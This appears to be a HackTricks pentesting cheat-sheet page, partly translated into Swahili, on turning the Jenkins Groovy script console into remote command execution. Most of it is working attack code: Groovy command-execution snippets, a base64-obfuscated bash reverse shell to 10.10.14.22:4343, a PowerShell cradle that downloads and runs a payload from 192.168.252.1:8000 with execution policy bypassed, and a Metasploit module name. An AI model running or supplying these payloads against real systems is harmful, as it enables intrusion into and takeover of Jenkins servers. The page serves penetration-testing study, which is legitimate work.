Jenkins RCE with Groovy Script

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Jenkins RCE with Groovy Script

Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins

1. Nenda kwenye path_jenkins/script

2. Ndani ya kisanduku cha maandiko ingiza script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

You could execute a command using: cmd.exe /c dir

In linux you can do: "ls /".execute().text

If you need to use quotes and single quotes inside the text. You can use """PAYLOAD""" (triple double quotes) to execute the payload.

Scripti nyingine muhimu ya groovy ni (replace [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell katika linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell katika windows

Unaweza kuandaa seva ya HTTP yenye PS reverse shell na kutumia Jeking kupakua na kuitekeleza:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Unaweza kuendesha mchakato huu kwa kutumia hiki skripti.

Unaweza kutumia MSF kupata shell ya kurudi:

msf> use exploit/multi/http/jenkins_script_console

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.